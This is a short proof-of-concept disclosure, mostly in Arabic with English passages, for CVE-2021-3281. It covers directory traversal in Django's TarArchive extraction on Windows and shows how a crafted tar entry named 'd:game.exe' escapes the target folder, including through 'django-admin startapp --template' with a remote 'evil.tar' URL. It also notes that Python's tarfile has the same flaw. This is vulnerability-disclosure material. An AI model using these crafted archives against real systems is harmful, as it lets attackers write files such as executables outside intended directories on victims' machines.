
إثبات المفهوم لـ CVE-2021-3281: ثغرة اجتياز الدليل في أداة TarArchive الخاصة بـ Django عبر ملفات tar مُعدّة بعناية، مع عرض توضيحي باستخدام وحدة tarfile في بايثون.
توجد ثغرة اجتياز الدليل (Directory Traversal) في django.utils.archive.py، عند السطر:171، في Class TarArchive.
استدعاء الدالة os.path.join(to_path, name) لم يتحقق من المعامل "name"، وإذا استخدم أي شخص هذه الأداة على منصة ويندوز، فستكون هناك مخاطرة باجتياز الدليل. الـ POC هو:
from django.utils import archive
archive.extract('test.tar','.')
The test.tar include file named "d:game.exe",and the poc will create a file named "game.exe" in D://game.exe rather than "."
It looks like the Django core didn't use this util,but I still think it's a risk,maybe someone will use this util in webapp to archive somethings.``and there is another scene:``"djangoadmin startapp --template" command will use archive.py,see in https://docs.djangoproject.com/en/3.1/ref/django-admin/#s-startapp. POC is:
django-admin.exe startapp vulapp --template="C:/my_templates/test.tar"
It'll create a file named "game.exe" in D://game.exe rather than "vulapp/", It also accept URLs like "django-admin.exe startapp vulapp --template=https://xxx.com/evil.tar"
from django.utils import archive
archive.extract('test.tar','.')
توجد نفس المشكلة في Python/Lib/tarfile.py:
#Lib/tarfile.py:
import tarfile
tar=tarfile.open('test.tar','r')
tar.extractall('.')
tar.close()
ويقدم التوثيق تحذيرًا، انظر https://docs.python.org/3/library/tarfile.html#tarfile.TarFile.extractall